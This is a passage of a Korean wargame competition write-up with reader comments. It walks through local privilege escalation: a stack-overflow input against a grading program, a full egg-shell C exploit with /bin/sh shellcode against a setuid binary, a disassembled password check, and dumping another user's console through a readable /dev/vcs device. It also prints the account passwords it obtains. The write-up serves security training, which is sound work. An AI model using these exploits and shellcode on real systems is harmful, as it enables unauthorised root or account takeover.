(i = 0; i < esize - strlen(shellcode) - 1; i++) *(ptr++)
= NOP;
for
(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
egg[esize
- 1] = '\0';
memcpy(egg,"EGG=",4);
// EGG라는 환경변수 설정
putenv(egg);
system("/bin/bash");
// Shell 실행
}
sh-2.05a$
gcc egg.c -o egg
|
|
sh-2.05a$
./egg
[guta@localhost
NWSR]$ (perl -e 'print "1\n","\x58\xfb\xff\xbf"x64';cat)|./student
-
성적표 --------------------
현재
0 명의 학생 정보가 있습니다.
1.
학생 성적 입력하기
2.
이름으로 학생 찾아보기
3.
번호로 학생 찾아보기
4.
모든 학생의 정보 보기
5.
끝내기
선택하세요>
새로운
학생을 등록합니다.
학생의
이름은 무엇입니까?
>경고!
Stack overflow 가 시도되었습니다.
보안상의
문제로 종료합니다.
id
uid=1002(mungmung)
gid=1002(mungmung) groups=1000(walwal)
[guta@localhost
NWSR]$ register
[01:59]
고유 번호를 입력하세요: #H4SC30346
mungmung의
비밀 번호는 rownrdl 입니다.
|
|
-
대회 도중 공개된 wizard 권한 힌트.
*
wizard 권한 관련 힌트입니다. [ Use_Brain.c ]
|
|
[mungmung@localhost
mungmung]$ ls -al
total
24
dr-xr-x---
2 root mungmung 4096 Aug 16 19:28 SolveMe/
[mungmung@localhost
mungmung]$ cd SolveMe
[mungmung@localhost
SolveMe]$ ls -al
total
24
-rwsr-sr-x
1 wizard wizard 14215 Aug 16 01:18 Use_Brain*
[mungmung@localhost
NWSR]$ ln -s /home/mungmung/SolveMe/Use_Brain Use_Brain
문제분석...
[mungmung@localhost
NWSR]$ objdump -x ./Use_Brain
08048640
g O .rodata 00000004 _fp_hw
08048520
g F .text 0000002f hackerschool
08049780
w O .bss 00000004 environ@@GLIBC_2.0
08048380
g F .init 00000000 _init
080483b8
w F *UND* 00000025
__deregister_frame_info@@GLIBC_2.0
08048420
g F .text 00000000 _start
080483c8
F *UND* 00000140 fgets@@GLIBC_2.0
080483d8
F *UND* 000000af strlen@@GLIBC_2.0
08049780
g O *ABS* 00000000 __bss_start
08048550
g F .text 00000087 main
080483e8
F *UND* 000000d3 __libc_start_main@@GLIBC_2.0
08049780
g O .bss 00000004 __environ@@GLIBC_2.0
08049668
w .data 00000000 data_start
080483f8
F *UND* 00000032 printf@@GLIBC_2.0
08048620
g F .fini 00000000 _fini
08049780
g O *ABS* 00000000 _edata
08049754
g O .got 00000000 _GLOBAL_OFFSET_TABLE_
080497a0
g O *ABS* 00000000 _end
08048408
F *UND* 00000043 memset@@GLIBC_2.0
08049784
g O .bss 00000004 stdin@@GLIBC_2.0
08048644
g O .rodata 00000004 _IO_stdin_used
08049668
g .data 00000000 __data_start
[mungmung@localhost
NWSR]$ objdump -s ./Use_Brain
Contents
of section .fini:
8048620
5589e553 52e80000 00005b81 c32a1100 U..SR.....[..*..
8048630
008d7600 e837feff ff8b5dfc c9c3 ..v..7....]...
Contents
of section .rodata:
8048640
03000000 01000200 bfa9b1e2 bcad20c0 .............. .
8048650
d4b7c2c7 d8bedfc7 d8bfe42e 203a2000 ............ : .
8048660
45786974 2e0a00 Exit...
|
|
[mungmung@localhost
SolveMe]$ gdb Use_Brain 에서 디스어셈을 하여..소스를
만듬.
void
hackerschool()
{
fffc[8];
0x8048520
<hackerschool>: push %ebp
0x8048521
<hackerschool+1>: mov %esp,%ebp
0x8048523
<hackerschool+3>: sub $0x8,%esp
printf("여기서
입력해야해요. ");
0x8048526
<hackerschool+6>: sub $0xc,%esp
0x8048529
<hackerschool+9>: push $0x8048648
0x804852e
<hackerschool+14>: call 0x80483f8 <printf>
0x8048533
<hackerschool+19>: add $0x10,%esp
fgets(fffc,
0x0d, stdin);
0x8048536
<hackerschool+22>: sub $0x4,%esp
0x8048539
<hackerschool+25>: pushl 0x8049784
0x804853f
<hackerschool+31>: push $0xd
0x8048541
<hackerschool+33>: lea 0xfffffffc(%ebp),%eax
0x8048544
<hackerschool+36>: push %eax
0x8048545
<hackerschool+37>: call 0x80483c8 <fgets>
0x804854a
<hackerschool+42>: add $0x10,%esp
}
0x804854d
<hackerschool+45>: leave
0x804854e
<hackerschool+46>: ret
int
main(int argc, char *argv[])
{
0x8048550
<main>: push %ebp
0x8048551
<main+1>: mov %esp,%ebp
0x8048553
<main+3>: sub $0x8,%esp
if
(argc>1) {
0x8048556
<main+6>: cmpl $0x1,0x8(%ebp)
0x804855a
<main+10>: jle 0x8048574 <main+36>
0x804855c
<main+12>: sub $0xc,%esp
printf("Exit.\n");
0x804855f
<main+15>: push $0x8048660
0x8048564
<main+20>: call 0x80483f8 <printf>
0x8048569
<main+25>: add $0x10,%esp
return(0);
0x804856c
<main+28>: mov $0x0,%eax
0x8048571
<main+33>: jmp 0x80485d5 <main+133>
0x8048573
<main+35>: nop
0x8048574
<main+36>: nop
}
for(fffc
= 0; environ[fffc]; fffc++) {
0x8048575
<main+37>: movl $0x0,0xfffffffc(%ebp)
0x804857c
<main+44>: mov 0xfffffffc(%ebp),%eax
0x804857f
<main+47>: imul $0x4,%eax,%edx
0x8048582
<main+50>: mov 0x8049780,%eax <-- environ@@GLIBC_2.0
0x8048587
<main+55>: cmpl $0x0,(%eax,%edx,1)
0x804858b
<main+59>: jne 0x8048590 <main+64>
0x804858d
<main+61>: jmp 0x80485d0 <main+128>
0x804858f
<main+63>: nop
strlen(environ[fffc]);
0x8048590
<main+64>: sub $0x4,%esp
0x8048593
<main+67>: sub $0x8,%esp
0x8048596
<main+70>: mov 0xfffffffc(%ebp),%eax
0x8048599
<main+73>: imul $0x4,%eax,%edx
0x804859c
<main+76>: mov 0x8049780,%eax
0x80485a1
<main+81>: pushl (%eax,%edx,1)
0x80485a4
<main+84>: call 0x80483d8 <strlen>
0x80485a9
<main+89>: add $0xc,%esp
memset(environ[fffc],
0, strlen(environ[fffc]));
0x80485ac
<main+92>: mov %eax,%eax
0x80485ae
<main+94>: push %eax
0x80485af
<main+95>: push $0x0
0x80485b1
<main+97>: mov 0xfffffffc(%ebp),%eax
0x80485b4
<main+100>: imul $0x4,%eax,%edx
0x80485b7
<main+103>: mov 0x8049780,%eax
0x80485bc
<main+108>: pushl (%eax,%edx,1)
0x80485bf
<main+111>: call 0x8048408 <memset>
0x80485c4
<main+116>: add $0x10,%esp
fffc++
0x80485c7
<main+119>: lea 0xfffffffc(%ebp),%eax
0x80485ca
<main+122>: incl (%eax)
0x80485cc
<main+124>: jmp 0x804857c <main+44>
0x80485ce
<main+126>: mov %esi,%esi
}
hackerschool();
0x80485d0
<main+128>: call 0x8048520 <hackerschool>
}
0x80485d5
<main+133>: leave
0x80485d6
<main+134>: ret
|
|
Use_Brain
소스 유추...
hackerschool()
{
char
buf[8];
printf("여기서
입력해야해요. ");
fgets(buf,
13, stdin);
}
main(int
argc, char **argv)
{
int
fffc;
if(argc
> 1){
printf("Exit.\n");
exit(0);
}
for(fffc
= 0; environ[fffc]; fffc++) {
memset(environ[fffc],
0, strlen(environ[fffc]));
}
hackerschool();
}
|
그렇다면...에그쉘을
넣을 곳은 only argv[0];
|
wizard
exploit
[mungmung@localhost
NWSR]$ cat > mng.c
#include<stdio.h>
#define
NOP 0x90
char
shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x89\xc3\x89\xd9\xb0\x46\x66\xbb\xeb\x03\x66\xb9\xeb\x03"
"\xcd\x80\x31\xc0\x89\xc3\x89\xd9\xb0\x47\x66\xbb\xeb\x03\x66\xb9"
"\xeb\x03\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
int
main(int argc, char **argv)
{
char
*buff, *ptr, *egg;
int
i, eggsize=1024;
char
*run_path = "./Use_Brain";
if
( argc > 1 ) eggsize = atoi(argv[1]);
if
( !(egg = malloc(eggsize))) {
printf("Can't
allocate memory for eggsize");
exit(0);
}
ptr
= egg;
for(i
= 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++)
= NOP;
for(i
= 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
egg[eggsize
- 1] = '\0';
execl(run_path,
egg, NULL);
}
[mungmung@localhost
NWSR]$ gcc mng.c -o mng
|
gdb로
확인...
|
(gdb)
x/16 $ebp
0xbffffb48:
0xbffffb88 0x42017499 0x00000001 0xbffffbb4
0xbffffb58:
0xbffffbbc 0x08048396 0x08048620 0x00000000
0xbffffb68:
0xbffffb88 0x42017482 0x00000000 0xbffffbbc
0xbffffb78:
0x08049780 0x400134c0 0x00000001 0x08048420
0xbffffc78:
0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc88:
0x00000000 0x36690000 0x2f003638 0x656d6f68
0xbffffc98:
0x6e756d2f 0x6e756d67 0x6f532f67 0x4d65766c
0xbffffca8:
0x73552f65 0x72425f65 0x006e6961 0x3d445750
0xbffffcb8:
0x706d742f 0x756d2e2f 0x5200676e 0x544f4d45
[mungmung@localhost
NWSR]$ (perl -e 'print "\x2c\xfc\xff\xbf"x3';cat)|./mng
id
uid=1003(wizard)
gid=1003(wizard) groups=1002(mungmung)
[mungmung@localhost
NWSR]$ register
고유
번호를 입력하세요: #H4SC30346
wizard의
비밀 번호는 qufemfdmlwjswod(별들의전쟁) 입니다.
등록
처리 완료되었습니다.
|
|
----------------------------------------------------------------
1.
수수께끼 문제 : 이번 수수께끼 문제는 역암호화입니다.
crypt
group 권한의 파일을 찾아 암호를 해독하면
crypt
계정의 패스워드를 얻으실 수 있습니다.
----------------------------------------------------------------
|
gdb로
디버깅.
|
08048510
<main>:
8048510:
55 push %ebp
8048511:
89 e5 mov %esp,%ebp
8048513:
57 push %edi
8048514:
56 push %esi
8048515:
83 ec 60 sub $0x60,%esp
8048518:
8d 7d d8 lea 0xffffffd8(%ebp),%edi
804851b:
be 58 86 04 08 mov $0x8048658,%esi
8048520:
fc cld
8048521:
b9 15 00 00 00 mov $0x15,%ecx
8048526:
f3 a4 repz movsb %ds:(%esi),%es:(%edi)
8048528:
c6 45 ed 00 movb $0x0,0xffffffed(%ebp)
804852c:
8d 7d b8 lea 0xffffffb8(%ebp),%edi
804852f:
be 6d 86 04 08 mov $0x804866d,%esi
8048534:
fc cld
8048535:
b9 15 00 00 00 mov $0x15,%ecx
804853a:
f3 a4 repz movsb %ds:(%esi),%es:(%edi)
804853c:
c6 45 cd 00 movb $0x0,0xffffffcd(%ebp)
8048540:
8d 7d a8 lea 0xffffffa8(%ebp),%edi
8048543:
be 82 86 04 08 mov $0x8048682,%esi
8048548:
fc cld
8048549:
b9 0d 00 00 00 mov $0xd,%ecx
804854e:
f3 a4 repz movsb %ds:(%esi),%es:(%edi)
8048550:
83 ec 08 sub $0x8,%esp
8048553:
68 d4 85 04 08 push $0x80485d4
8048558:
6a 03 push $0x3
804855a:
e8 35 fe ff ff call 8048394 <_init+0x48>
804855f:
83 c4 10 add $0x10,%esp
8048562:
83 ec 08 sub $0x8,%esp
8048565:
68 d4 85 04 08 push $0x80485d4
804856a:
6a 02 push $0x2
804856c:
e8 23 fe ff ff call 8048394 <_init+0x48>
8048571:
83 c4 10 add $0x10,%esp
8048574:
83 ec 0c sub $0xc,%esp
8048577:
68 8f 86 04 08 push $0x804868f
804857c:
e8 23 fe ff ff call 80483a4 <_init+0x58>
8048581:
83 c4 10 add $0x10,%esp
8048584:
89 45 a4 mov %eax,0xffffffa4(%ebp)
8048587:
83 ec 08 sub $0x8,%esp
804858a:
ff 75 a4 pushl 0xffffffa4(%ebp)
804858d:
8d 45 a8 lea 0xffffffa8(%ebp),%eax
8048590:
83 c0 05 add $0x5,%eax
8048593:
50 push %eax
8048594:
e8 eb fd ff ff call 8048384 <_init+0x38>
8048599:
83 c4 10 add $0x10,%esp
804859c:
89 c0 mov %eax,%eax
804859e:
85 c0 test %eax,%eax
80485a0:
74 1a je 80485bc <main+0xac>
80485a2:
83 ec 0c sub $0xc,%esp
80485a5:
68 9a 86 04 08 push $0x804869a
80485aa:
e8 35 fe ff ff call 80483e4 <_init+0x98>
80485af:
83 c4 10 add $0x10,%esp
80485b2:
83 ec 0c sub $0xc,%esp
80485b5:
6a ff push $0xffffffff
80485b7:
e8 38 fe ff ff call 80483f4 <_init+0xa8>
80485bc:
83 ec 0c sub $0xc,%esp
80485bf:
68 a8 86 04 08 push $0x80486a8
80485c4:
e8 1b fe ff ff call 80483e4 <_init+0x98>
80485c9:
83 c4 10 add $0x10,%esp
80485cc:
8d 65 f8 lea 0xfffffff8(%ebp),%esp
80485cf:
5e pop %esi
80485d0:
5f pop %edi
80485d1:
5d pop %ebp
80485d2:
c3 ret
80485d3:
90 nop
080485d4
<handler>:
80485d4:
55 push %ebp
80485d5:
89 e5 mov %esp,%ebp
80485d7:
83 ec 08 sub $0x8,%esp
80485da:
83 ec 08 sub $0x8,%esp
80485dd:
68 b1 86 04 08 push $0x80486b1
80485e2:
ff 75 08 pushl 0x8(%ebp)
80485e5:
e8 da fd ff ff call 80483c4 <_init+0x78>
80485ea:
83 c4 10 add $0x10,%esp
80485ed:
c9 leave
80485ee:
c3 ret
80485ef:
90 nop
(gdb)
x/16 0x0804868f
0x804868f
<_IO_stdin_used+59>: "Password: "
0x804869a
<_IO_stdin_used+70>: "\n틀렸습니다.\n"
0x80486a8
<_IO_stdin_used+84>: "\n성공!!\n"
0x80486b1
<_IO_stdin_used+93>: "\n거부\n"
(gdb)
x/16 0x08048658
0x8048658
<_IO_stdin_used+4>: "@#!!levelup_pass!!@#"
0x804866d
<_IO_stdin_used+25>: "@#!!uplevel_pass!!@#"
0x8048682
<_IO_stdin_used+46>: "loohcsrekcah"
0x804868f
<_IO_stdin_used+59>: "Password: "
0x804869a
<_IO_stdin_used+70>: "\n틀렸습니다.\n"
0x80486a8
<_IO_stdin_used+84>: "\n성공!!\n"
0x80486b1
<_IO_stdin_used+93>: "\n거부\n"
(gdb)
x/s $esi
0x804865b
<_IO_stdin_used+7>: "!levelup_pass!!@#"
loohcsrekcah
(gdb)
x/16 $eax
0xbffffb30:
0x686f6f6c 0x65727363 0x6861636b
(gdb)
x/16 $eax
0xbffffb30:
0x686f6f6c 0x65727363 0x6861636b
8048590:
83 c0 05 add $0x5,%eax
8048593:
50 push %eax
8048594:
e8 eb fd ff ff call 8048384 <_init+0x38>
요
부분이 핵심.
(gdb)
x/16 $eax
0xbffffb35:
"srekcah"
0xbffffb3d:
"=\001@@#!!uplevel_pass!!@#"
0xbffffb55:
""
crypt
패스워드 : srekcah
|
|
----------------------------------------------------------------
2.
관리자의 화면 캡쳐 :
관리자가
실수로 가상 콘솔 스크린 관련 파일의 읽기 퍼미션을 열어
놓았다고
합니다. 이 정보를 이용하여 관리자의 화면을 캡쳐하세요.
----------------------------------------------------------------
|
|
<스크린
덤프 참고 내용>
현재
디렉토리에 screen.dump라는 화일로 /dev/ttyN의 화면 내용을
덤프하려면
setterm -dump N 라고 하면 된다. setterm(1)을 참조하라.
/dev/ttyN
스크린의 현재 내용은 /dev/vcsN 디바이스를 사용하면 액세스할
수
있다. (여기서 `vcs'는 가상 콘솔 스크린의 약자이다.)
이것을
사용하면
콘솔 스크린의 오른쪽 위에 현재 시간을 표시하는 시계
프로그램을
실행시킬 수 있다. (kbd-0.95.tar.gv에 있는 vcstime
프로그램을
참조하라.) 단지 내용만을 덤프하려면, cat /dev/vcsN이라고
해도
된다. 이러한 디바이스 화일/dev/vcsN에는 newline도 색과
같은
속성도
없다. 좀 더 나은 프로그램으로는 /dev/vcsaN가 있다. (vcsa:
`virtual
console screen with attributes') 이 프로그램은 행과
열의 수,
커서의
위치를 담은 헤더로 실행시킨다. vcs(4)를 참조하라.
참조문서:
http://kldp.org/HOWTO/Keyboard-and-Console-HOWTO
|
<취약
디바이스 찾기>
|
bash-2.05a$
ls -al /dev/vcs*
crw--w----
1 vcsa tty 7, 0 Apr 11 10:25 /dev/vcs
crw--w-r--
1 vcsa tty 7, 1 Apr 11 10:25 /dev/vcs1
crw--w----
1 vcsa tty 7, 10 Apr 11 10:25 /dev/vcs10
{중략}
|
|
<스크린
덤프 내용>
bash-2.05a$
cat /dev/vcs1
[Eminem
as 'Stan']
Dear
Slim, I wrote but you still ain't callin
I
left my cell, my pager, and my home phone at the bottom
I
sent two letters back in autumn, you must not-a got
'em
There
probably was a problem at the post office or somethin
Sometimes
I scribble addresses too sloppy when I jot 'em
but
anyways; fuck it, what's been up? Man how's your daughter?
My
girlfriend's pregnant too, I'm bout to be a father
If
I have a daughter, guess what I'ma call her?
I'ma
name her Bonnie
I
read about your Uncle Ronnie too I'm sorry
I
had a friend kill himself over some bitch who didn't
want him
I
know you probably hear this everyday, but I'm your biggest
fan
I
even got the underground shit that you did with Scam
I
got a room full of your posters and your pictures man
I
like the shit you did with Ruckus too, that shit was
fat
Anyways,
I hope you get this man, hit me back,
just
to chat, truly yours, your biggest fan
This
is Stan
|
4.
후기.
글중에서
실제 공격한 시간과 자료정리한 시간에서 조금 차이가 있을수 있습니다.
Index.html을
가지기 위해서 다른 참가자를 Kill 시키는데..
이런방법은
조금 자제를 해야 하지 않을까..
이번대회를
통해서 못푼 문제도 있었고..
많이
배웠습니다.
좋은
대회 감사합니다.
[별첨.1]
나중에 공개된 소스.
o.
walwal 레벨의 tmpwatch source. [
링크 ]
o.
guta 레벨의 student source. [
링크 ]
o.
mungmung 레벨의 Use_Brain source. [
링크 ]
[별첨.2]
o.
tmpwatch 취약점 발표자료. [
링크 ]
**
입상자에게 한마디!! **
|
시라소니 : 대단해요.. 나는 언제 저렇게될까..? . 멍멍 : 문제 못 푸신분들. 위 내용을 무작정 따라해 보는 것도 도움이 될거에요~ . d1212 : 0x80485a5 : call 0x80483dc . d1212 : 이것도 씨언어?? . 컴맹 : 난 언제 obj를 볼수 있을까??? . d1212 : 0x0020 8011 16b0 4d2a 0000 0101 080a 0f65 221c ....M*....... . d1212 : 이거도여?? 그럼 해킹 할려면 어셈도 배워야 하나여 . therock : 역시 대단한 null@root !! . 2121d : 기본적인 어셈 필요합니다. . 11 : 요번에 1등한 팀 null@root 아니던데..이름부터 틀린데 . Anesra : 축하드립니다.^^..저도 많이공부해야겠네요.:) . 1212312 : null@root 그룹 정예멤버랍니다. . 디펜스 : 우아 . Final_fire : 앞으로는 gdb 사용법좀 알아봐야겠군요..^^ . Nuno : 축하드려요... 부상이 뭐죠?...^^ . 구삐 : 잘봤습니다.. . 아오리 : 저두요^^ . Rantert : 좋은거 하나 배웠습니다. ^^ . Hero : 머냐고 이게 -_-멀 알아 들어야 하지 ''a . 토시 : (-_-)==b . 성웅 : 나도 전에 시작했다가 포기했는데 다시 시작해야겠당.. . Max : 도움이 많이 되었습니다. gdb를 너무 잘 써서 부럽네요. . 초보 : --b 정말 대단하네여 근데 먼내용인지... . sophier : 어셈블리어라... 여하튼 잘 봤습니다^^ . include : 실로 대단하십니다.:-_ . 초보다 : 잘 배웠습니다..(-_-)-b . bestbox : 친절하고 자세한 설명 고맙습니다 . nary : 대단하십늬다-ㅁ-나능언제저케되까.. . ttpp : 널루트 만세~ . 김봉철 : 음 대단하시네요 . 머냐고요 : 진짜 장난안하고 한글자도 모르겠다 ㅡㅡ . 모래고래 : 대단하네..어셈블리어..멋있네요앞으로도 멋진 모습 기대하겠습니다.^-^* . 누구게 : 아이쥐엔피 . blackangel : 참 대단하시네요...ㅜㅡㅜ....부럽습니다 .
|
이름
: 내용 :
|